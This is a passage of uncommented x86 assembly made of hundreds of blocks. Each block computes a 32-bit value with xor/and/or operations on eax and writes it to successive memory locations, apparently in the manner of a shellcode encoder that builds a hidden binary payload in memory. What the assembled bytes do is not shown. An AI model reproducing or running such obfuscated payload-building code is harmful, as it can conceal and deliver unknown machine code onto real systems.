xor eax, 0x693bfb1e
and eax, 0x11001440
or eax, 0x672010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3781630d
xor eax, 0x2723d12
and eax, 0x12020400
or eax, 0xec04a061
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7c8eae3f
xor eax, 0x15cb2eb3
and eax, 0xe2458000
or eax, 0x10800c12
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6df4674a
and eax, 0x40840402
or eax, 0x881aea80
mov dword [ebx], eax
add ebx, ecx
and eax, 0x20405fe
and eax, 0x2b83419c
and eax, 0x80
or eax, 0xd8c3493f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x42a309b7
and eax, 0x218ab36e
and eax, 0
or eax, 0x742e7a06
mov dword [ebx], eax
add ebx, ecx
or eax, 0x694b64ce
xor eax, 0x3fb5cb6
and eax, 0x34042040
or eax, 0x690405
mov dword [ebx], eax
add ebx, ecx
and eax, 0x390e4155
and eax, 0x20000041
or eax, 0x7032c3a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x63e6fa5d
or eax, 0x2f7630ef
and eax, 0x64105066
or eax, 0x80000100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e664f08
and eax, 0x22144e
or eax, 0x5589a000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x773e2ef
and eax, 0x1200e
or eax, 0x70045411
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x70e28d92
and eax, 0x1ea08977
and eax, 0x200101
or eax, 0x8a440440
mov dword [ebx], eax
add ebx, ecx
or eax, 0xab30f76
or eax, 0x4b1ea464
and eax, 0xc092a345
or eax, 0x10005080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x202f13dd
or eax, 0x5f99e051
and eax, 0xe59fd29d
or eax, 0xc00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3aba18d1
or eax, 0x4e59083
and eax, 0xfffa5c80
or eax, 0x20
mov dword [ebx], eax
add ebx, ecx
and eax, 0x405ef149
or eax, 0x498e2b88
and eax, 0x1de2a80
or eax, 0xb4208410
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xf6865bc
and eax, 0x1a12802c
or eax, 0x54024c1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x475e305d
or eax, 0x5af7e4e7
and eax, 0x40d09474
or eax, 0xa4000208
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7b802cf1
and eax, 0x8610b284
or eax, 0x20834502
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4139bec2
xor eax, 0x7a1f2818
and eax, 0x99845046
or eax, 0x2082001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x26833b
and eax, 0x1b2c5337
or eax, 0x60110800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x576d4b6f
and eax, 0x2c400050
or eax, 0x530f2800
mov dword [ebx], eax
add ebx, ecx
or eax, 0xa358db1
and eax, 0x6d370131
or eax, 0x8080500a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1cdf981
and eax, 0xe81aa888
or eax, 0x814400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7821550d
xor eax, 0x73705914
and eax, 0x4380e081
or eax, 0x1c200d0e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7aae0b98
and eax, 0x8800080
or eax, 0xa4428070
mov dword [ebx], eax
add ebx, ecx
and eax, 0xecb9814
and eax, 0x4c28010
or eax, 0xe21d32e6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f2b91a2
and eax, 0xc0d42250
or eax, 0x22039080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6a68fa1c
and eax, 0x2400000
or eax, 0x881d04a4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5ff258ef
and eax, 0x4c000c7b
and eax, 0x8000000
or eax, 0x679a45cf
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x408cfaab
xor eax, 0x4ed931d
and eax, 0x1e12819
or eax, 0x94045304
mov dword [ebx], eax
add ebx, ecx
and eax, 0x79414cd8
and eax, 0x11000810
or eax, 0xec88b4c3
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3c5ad4df
xor eax, 0x4a4f7024
and eax, 0x968088b0
or eax, 0x48683004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xb7dd9ec
and eax, 0x85940158
or eax, 0x22201880
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1fea420e
or eax, 0x418eef84
and eax, 0x80e81140
or eax, 0x10001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2d5dbdc9
and eax, 0x25cd99c1
or eax, 0x10020232
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x111108bb
and eax, 0x4c561b1b
and eax, 0x121308
or eax, 0x62a1a0e5
mov dword [ebx], eax
add ebx, ecx
or eax, 0xd6c9ec1
and eax, 0x2f912304
or eax, 0x10
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x36c5e73f
and eax, 0x10400021
or eax, 0x26202840
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5dc719bf
and eax, 0x63a12080
or eax, 0x8408ce00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3c3d43b1
and eax, 0x1e102a90
or eax, 0x21006
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1c23877
and eax, 0x707cb374
and eax, 0x10400040
or eax, 0xa681f90f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2b472b72
and eax, 0x7528b064
and eax, 0x14001020
or eax, 0x806f0a59
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1971309c
and eax, 0x8620869
or eax, 0x6000c102
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6b26cb31
and eax, 0x3440000
or eax, 0xf81b3900
mov dword [ebx], eax
add ebx, ecx
or eax, 0x373f3edc
and eax, 0xe0341f94
or eax, 0x80c023
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x43f08a06
and eax, 0x800441b0
or eax, 0x5ca9aa08
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x383a8d52
and eax, 0x717e3cb3
and eax, 0x60122080
or eax, 0x80a1d210
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3045f7d2
and eax, 0xf05537d0
or eax, 0x7080005
mov dword [ebx], eax
add ebx, ecx
and eax, 0x77f9497a
and eax, 0x10400000
or eax, 0x800b481
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2f8257d4
and eax, 0x8001000
or eax, 0x75aee87f
mov dword [ebx], eax
add ebx, ecx
or eax, 0x78fcd7d
and eax, 0x6303202d
or eax, 0x500000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x517192c5
xor eax, 0x6392c9c1
and eax, 0x10e1530c
or eax, 0x240a8081
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3ac0622f
or eax, 0x4b8bba55
and eax, 0x6a20b56
or eax, 0x80504008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x25079225
or eax, 0x5c954d04
and eax, 0x63314702
or eax, 0x80000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x61d68f68
and eax, 0xeb8840
or eax, 0x3c100385
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3684ac96
and eax, 0xa1f2713
or eax, 0x65808828
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x54b6d670
or eax, 0x3d5ba575
and eax, 0x1f202401
or eax, 0x80840280
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x725f2aa7
or eax, 0x63b01e5d
and eax, 0xea82106f
or eax, 0xc000
mov dword [ebx], eax
add ebx, ecx
and eax, 0xbf28710
and eax, 0x5542998a
and eax, 0x20000
or eax, 0x49642744
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7f50cb33
and eax, 0x33026801
or eax, 0x81000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x235bc976
and eax, 0x3084800
or eax, 0x4cd10265
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4896949c
and eax, 0x48494619
or eax, 0x30002102
mov dword [ebx], eax
add ebx, ecx
and eax, 0x245489b6
and eax, 0x20000002
or eax, 0x51b7d82c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xd9a16ad
and eax, 0x1c04c481
or eax, 0x82103040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7e9e18fb
xor eax, 0x67f6e718
and eax, 0x480b20
or eax, 0x8031448
mov dword [ebx], eax
add ebx, ecx
or eax, 0x612b6815
xor eax, 0x6e335e7b
and eax, 0x182106
or eax, 0xc8870470
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb53f5ab
xor eax, 0x7601c9d0
and eax, 0xd943804
or eax, 0x42214180
mov dword [ebx], eax
add ebx, ecx
and eax, 0x23993b64
and eax, 0x3910800
or eax, 0x88488690
mov dword [ebx], eax
add ebx, ecx
or eax, 0x251d8136
and eax, 0xac8989b4
or eax, 0x40227009
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x73aceeb1
or eax, 0x50618b00
and eax, 0xcc248004
or eax, 0x9060a2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2ace1fb3
and eax, 0x48773d28
and eax, 0
or eax, 0x632b7e0b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x97177d5
and eax, 0x2020808
or eax, 0x10004400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75d7ad03
and eax, 0x20042002
or eax, 0x98021810
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2c10a7a5
and eax, 0x34028c86
or eax, 0x3e14040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x624626e1
and eax, 0x16654824
or eax, 0x8081008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4644eca0
and eax, 0x4440000
or eax, 0x181a1051
mov dword [ebx], eax
add ebx, ecx
or eax, 0x11cb2090
or eax, 0x6381100a
and eax, 0x6d440050
or eax, 0x500
mov dword [ebx], eax
add ebx, ecx
or eax, 0x34d001cc
and eax, 0x2944008c
or eax, 0x8022da21
mov dword [ebx], eax
add ebx, ecx
or eax, 0x385cd88
and eax, 0x88e69480
or eax, 0x14100042
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b3c4124
and eax, 0x100000
or eax, 0xe3c3b9d3
mov dword [ebx], eax
add ebx, ecx
and eax, 0x323ad80e
and eax, 0x20029000
or eax, 0xcc4163cc
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f9d0d54
and eax, 0x10000
or eax, 0x112e422a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x27c60352
or eax, 0x2beae106
and eax, 0xd692148
or eax, 0x141001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x52d4fb23
or eax, 0x66fabbc1
and eax, 0x7b286b48
or eax, 0x400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3759ef84
and eax, 0x74cbd92e
and eax, 0x4400008
or eax, 0x2067f20
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2c65b799
or eax, 0x15254716
and eax, 0x4651116
or eax, 0x2028801
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x720ee1dc
and eax, 0x40690848
or eax, 0xb160504
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x554c6c6a
and eax, 0x1a306122
or eax, 0x440a08
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e61a219
or eax, 0x198e33e2
and eax, 0xfbe7b43
or eax, 0xa0000400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6cfc72f7
and eax, 0xa1e22b83
or eax, 0x8000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2c1cb993
and eax, 0x20002802
or eax, 0xd282047c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x14c3f1ac
or eax, 0x286084d3
and eax, 0x88209891
or eax, 0x109e2200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x10747e99
and eax, 0x10343280
or eax, 0xabc9806c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x55e50c9d
and eax, 0x12202a15
or eax, 0x4100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x67d4dfb4
and eax, 0x2d45ba0
or eax, 0x800a0042
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e5251dc
and eax, 0x5a8a7e7e
and eax, 0x40000026
or eax, 0x132741c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0xafd5a9c
or eax, 0x7dfa0148
and eax, 0x24924
or eax, 0x80000400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x34e5d981
and eax, 0x84c28421
or eax, 0x18011a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x78ee06e7
xor eax, 0x1dc56df0
and eax, 0x8111a200
or eax, 0x1ec405d0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1e49f
xor eax, 0x5b50fb10
and eax, 0x1a414f80
or eax, 0x428a05b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x49c4f241
and eax, 0x2890002
or eax, 0x8840e224
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x40d9d370
or eax, 0x6714b44d
and eax, 0x66101443
or eax, 0x4a4880
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2c960d5a
or eax, 0x30928248
and eax, 0x3a488388
or eax, 0x4002422
mov dword [ebx], eax
add ebx, ecx
or eax, 0x532a5513
or eax, 0x30979f97
and eax, 0x277f6fa8
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6d9c660a
or eax, 0x157da9bb
and eax, 0x147d8a30
or eax, 0xc2800004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x69f07409
and eax, 0x7fb8f00d
or eax, 0x182
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f5e7cd2
xor eax, 0xad01dfe
and eax, 0x2048020
or eax, 0xd0c80500
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3a0a95df
and eax, 0x10080000
or eax, 0x4442184c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x381c4d8c
and eax, 0x41ef1ed
and eax, 0
or eax, 0x20506802
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x53c1f7a0
xor eax, 0x40a6fb25
and eax, 0x30356002
or eax, 0x88080b68
mov dword [ebx], eax
add ebx, ecx
or eax, 0x702fd76a
and eax, 0xa8367c6a
or eax, 0x6c00091
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4916df5b
and eax, 0x9f1dcdb
and eax, 0x8001c50
or eax, 0xd225a284
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3e2aa83e
or eax, 0x2cd98439
and eax, 0x2c9894a1
or eax, 0x3206004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1abda17e
and eax, 0x20040149
or eax, 0x40502224
mov dword [ebx], eax
add ebx, ecx
and eax, 0x57c86d82
and eax, 0x391fb0ef
and eax, 0
or eax, 0x63094f38
mov dword [ebx], eax
add ebx, ecx
or eax, 0x64d2ec3a
and eax, 0x61006a00
or eax, 1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7ae440a7
and eax, 0
or eax, 0xc4d384e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x166b6f68
and eax, 0x2265324
or eax, 0x204008c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4caae4ae
and eax, 0x6e24632c
or eax, 0x10000001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7b057dc9
xor eax, 0x425ccf0e
and eax, 0x244004a
or eax, 0x20200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7d2b9388
or eax, 0x4a027f3a
and eax, 0x1c2b1d68
or eax, 4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x53fefed9
and eax, 0x436d6625
or eax, 0x20000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x46a9fdc5
and eax, 0x21048800
or eax, 0x483a2014
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4ee7ea02
and eax, 0x8260800
or eax, 0x9359043e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2b18b99e
and eax, 0x42a4a0
or eax, 0x44880a4c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7234b514
and eax, 0x2320928
or eax, 0xc0014006
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4d248a2f
xor eax, 0x34ea0b5c
and eax, 0x4080360
or eax, 0x8a302c8c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7436476b
and eax, 0x6e266dc2
or eax, 0x808000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7fee7809
and eax, 0x104085c0
or eax, 0xa2840804
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2402090c
or eax, 0xdf53c7a
and eax, 0x1901c78
or eax, 0xc208c080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3b464c93
and eax, 0x3004410
or eax, 0xc883a107
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7a4e49eb
and eax, 0x92c2e0bf
or eax, 0x4201200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x75e3551c
and eax, 0x14c24000
or eax, 0x88098b21
mov dword [ebx], eax
add ebx, ecx
and eax, 0x538c441e
xor eax, 0x64a866b8
and eax, 0x74000280
or eax, 0x21ac005
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1f0080a7
xor eax, 0x61cc1e4a
and eax, 0x13c0160d
or eax, 0x8104130
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x48bd3362
xor eax, 0x45a3bf08
and eax, 0x4028306
or eax, 0x49302488
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4cc0b6b8
and eax, 0x5b6d8817
and eax, 0x8008000
or eax, 0x22da48c7
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5c410a20
and eax, 0x28182c5
or eax, 0x88643810
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1093f06f
xor eax, 0xe622f46
and eax, 0x100191a9
or eax, 0x48680a44
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x8da59cc
xor eax, 0x7456b81f
and eax, 0x4254828
or eax, 0x58100500
mov dword [ebx], eax
add ebx, ecx
or eax, 0x20590ab4
or eax, 0x75b22d99
and eax, 0x105b6c09
or eax, 0x2000002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4e5982a3
and eax, 0x18024620
or eax, 0x200d0050
mov dword [ebx], eax
add ebx, ecx
or eax, 0x679e4d2
and eax, 0x12b248c4
and eax, 0x300040
or eax, 0x6548351e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4b593ca8
and eax, 0x2e000102
or eax, 0x11d0a408
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3856cf84
and eax, 0x11927eb
and eax, 0x100000
or eax, 0x9e692c1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x44abbb50
xor eax, 0x3a66492b
and eax, 0x1234038
or eax, 0x8400d05
mov dword [ebx], eax
add ebx, ecx
or eax, 0x61951df3
and eax, 0x5edcaea0
and eax, 0x8000c80
or eax, 0x802a9158
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d4f72f4
and eax, 0x20b6a2f3
and eax, 0x200d0
or eax, 0x17d1e62a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x8236b78
and eax, 0x9600c02
or eax, 0xa009122c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3481e0f4
xor eax, 0x229b78d1
and eax, 0x8838e4
or eax, 0x7541830a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2558e49b
and eax, 0x2ba1fc98
and eax, 0x2180cc88
or eax, 0x96480145
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1eba8df8
and eax, 0x5dc8ba3e
and eax, 0x1dc88834
or eax, 0x821533c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4413d043
and eax, 0x50de80e6
or eax, 0x200408
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6b490f1d
or eax, 0x34909cb2
and eax, 0x36b28e60
or eax, 0x80484004
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd2c88d2
and eax, 0x1fc2df2f
and eax, 0
or eax, 0x92cf2585
mov dword [ebx], eax
add ebx, ecx
or eax, 0x32844801
and eax, 0x32c00884
or eax, 0xc000070
mov dword [ebx], eax
add ebx, ecx
or eax, 0xfe2de18
and eax, 0x3b004270
or eax, 0x40080003
mov dword [ebx], eax
add ebx, ecx
or eax, 0x78f4d884
or eax, 0x34ffbd12
and eax, 0x41a7c395
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5ee5d28b
and eax, 0x16019215
or eax, 0x80082c40
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2ac59905
or eax, 0x14cc1ac4
and eax, 0x848c14c4
or eax, 0x3208000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x153eb6ed
and eax, 0x1248480
or eax, 0xf2c32032
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5ec5529c
and eax, 0x3d23320c
or eax, 0x100940
mov dword [ebx], eax
add ebx, ecx
and eax, 0x25e980c6
xor eax, 0x2ee24e39
and eax, 0xb414211
or eax, 0xa0040182
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x28a6e0f8
and eax, 0x82e18341
or eax, 0x30140c84
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1541fe78
xor eax, 0x4d68c653
and eax, 0x54094011
or eax, 0x8204a54c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5fda201d
and eax, 0x89d78040
or eax, 0x36280a9d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7e6d4ecf
and eax, 0xc4acc288
or eax, 0x2100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x770383b1
and eax, 0x280
or eax, 0x2248387c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e839a5d
and eax, 0x669d417a
and eax, 0x4890020
or eax, 0xc8501e41
mov dword [ebx], eax
add ebx, ecx
and eax, 0x55c7b628
or eax, 0x1389b315
and eax, 0x46012521
or eax, 0x20204802
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2e0ab557
and eax, 0x262a1426
or eax, 0x10540208
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7a2bb5eb
and eax, 0x10280428
or eax, 0xc8c40850
mov dword [ebx], eax
add ebx, ecx
or eax, 0xf910158
and eax, 0xc6940820
or eax, 0x2002d081
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7a593819
and eax, 0x47f87eeb
and eax, 0x42101001
or eax, 0xa8aba2d0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x57c57a83
and eax, 0x3b419ce2
and eax, 0x30401802
or eax, 0x84ac4339
mov dword [ebx], eax
add ebx, ecx
or eax, 0x71476503
or eax, 0x6a7ac55
and eax, 0x46637660
or eax, 0x8000080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x64d5175
and eax, 0x8040301
or eax, 0x8310500a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7be484c8
and eax, 0x2000000
or eax, 0xd09098b7
mov dword [ebx], eax
add ebx, ecx
or eax, 0x14f4fbc5
and eax, 0xc2205985
or eax, 0x21020400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x48dad997
xor eax, 0x65cce334
and eax, 0x18290a0
or eax, 0xc800050c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x152975f9
and eax, 0x1000180
or eax, 0xc2a6c004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x752ea50d
xor eax, 0x71230cdb
and eax, 0x8400c804
or eax, 0x286000a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x47eba9c0
or eax, 0x3df8645b
and eax, 0x66f92441
or eax, 0x48880
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7c6bc1b3
xor eax, 0x2df2e574
and eax, 0x13080000
or eax, 0x2c107170
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c548fd5
and eax, 0x10000110
or eax, 0xc286caa1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x62f18adf
and eax, 0xb0240006
or eax, 0x380a491
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x39df17f1
or eax, 0x43b0d7e0
and eax, 0x43432722
or eax, 0x4040809
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6498cc6
and eax, 0x1d701cf6
and eax, 0x4000800
or eax, 0x42214039
mov dword [ebx], eax
add ebx, ecx
or eax, 0x76247075
and eax, 0x34053830
or eax, 0x81c08380
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x46224f8a
xor eax, 0x7ddb194
and eax, 0xd03004aa
or eax, 0xac59850
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50c68bbb
xor eax, 0x3662bba3
and eax, 0x44842018
or eax, 0x9918c886
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x15e43794
and eax, 0x88489e0a
or eax, 0x208600a1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3d6de225
and eax, 0x85a31c06
or eax, 0x62188021
mov dword [ebx], eax
add ebx, ecx
or eax, 0x563ad545
or eax, 0x36d52fba
and eax, 0xb6f9a9d7
or eax, 0x8000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6bb19a33
and eax, 0x40fd5c1
and eax, 0x100c1
or eax, 0x53342a14
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6161b0af
and eax, 0x3954a00
and eax, 0x40a00
or eax, 0x558aa512
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5b8ce641
and eax, 0x4020151
or eax, 0x8120a484
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x58a2fcdb
xor eax, 0x427ccc04
and eax, 0x1b301500
or eax, 0x40036811
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x462de51c
or eax, 0x3169da1a
and eax, 0x1573c003
or eax, 0x40000500
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x11a8e23f
and eax, 0x22ab2d0c
and eax, 0x408
or eax, 0x6005260
mov dword [ebx], eax
add ebx, ecx
and eax, 0x706a19ca
xor eax, 0x3a2693fa
and eax, 0x38208122
or eax, 0x80c1544d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x74ca941
and eax, 0x5e4040f
or eax, 0x40020280
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x71003476
and eax, 0x14e63241
or eax, 0x81118804
mov dword [ebx], eax
add ebx, ecx
and eax, 0x32c12cb8
and eax, 0x10002800
or eax, 0xe92e85a2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6e6362e3
and eax, 0x82
or eax, 0x554cb48
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4cce2428
and eax, 0x63b65234
and eax, 0x1020000
or eax, 0x66d2047
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ffe9868
and eax, 0x5240000
or eax, 0xf8817305
mov dword [ebx], eax
add ebx, ecx
or eax, 0x29220eed
and eax, 0xf9a017a8
or eax, 0x2180000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4227f5
and eax, 0x7112100c
or eax, 0x40406a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x15937c18
and eax, 0x5020400
or eax, 0xc281c942
mov dword [ebx], eax
add ebx, ecx
and eax, 0x687c96d9
and eax, 0x40000400
or eax, 0x16101281
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6bd198a6
and eax, 0x40000000
or eax, 0xb9a14a0c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x295b9be4
and eax, 0x6821528c
or eax, 0x6002401
mov dword [ebx], eax
add ebx, ecx
and eax, 0x42e3a4bb
and eax, 0x5600b7d1
and eax, 0x40002001
or eax, 0x84aadb08
mov dword [ebx], eax
add ebx, ecx
and eax, 0x25b8c6af
and eax, 0x884208
or eax, 0x20453810
mov dword [ebx], eax
add ebx, ecx
and eax, 0x12ecc26a
or eax, 0x1886cd37
and eax, 0xcac92a
or eax, 0x84312040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1a923730
and eax, 0x314e5d43
and eax, 0x10005c40
or eax, 0x43330024
mov dword [ebx], eax
add ebx, ecx
and eax, 0x21cb69c7
and eax, 0x1024040
or eax, 0xc509392
mov dword [ebx], eax
add ebx, ecx
and eax, 0x56f3fc81
or eax, 0x1d28f918
and eax, 0x1928c110
or eax, 0xe0810643
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4a9bebf0
and eax, 0xc82b8411
or eax, 0x4401008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1cb9951
xor eax, 0x712f3725
and eax, 0x60a230
or eax, 0x8e9908c3
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5e27dc80
and eax, 0x96eeace1
or eax, 0x20000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x54ca5518
and eax, 0xa4ee98e9
or eax, 0x100006
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3aeb19e8
xor eax, 0x57c54b29
and eax, 0x41d08202
or eax, 0x300f0141
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x15e6735b
and eax, 0x243df84
and eax, 0x4000
or eax, 0x92700631
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2f49f2be
or eax, 0x3bf5dce3
and eax, 0xba45484d
or eax, 0x40000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x22939b7f
and eax, 0x67434a6f
and eax, 0x2200000c
or eax, 0x492e5402
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1017a5c7
and eax, 0x60404
or eax, 0xf291a49
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6e51c896
and eax, 0x6004c442
and eax, 0
or eax, 0x7b0dc24d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x629b0845
or eax, 0x7401b3f
and eax, 0x20480a1a
or eax, 0x9096e480
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1228deac
xor eax, 0x2543a96a
and eax, 0x15026042
or eax, 0xc0b08005
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2c5d3dc9
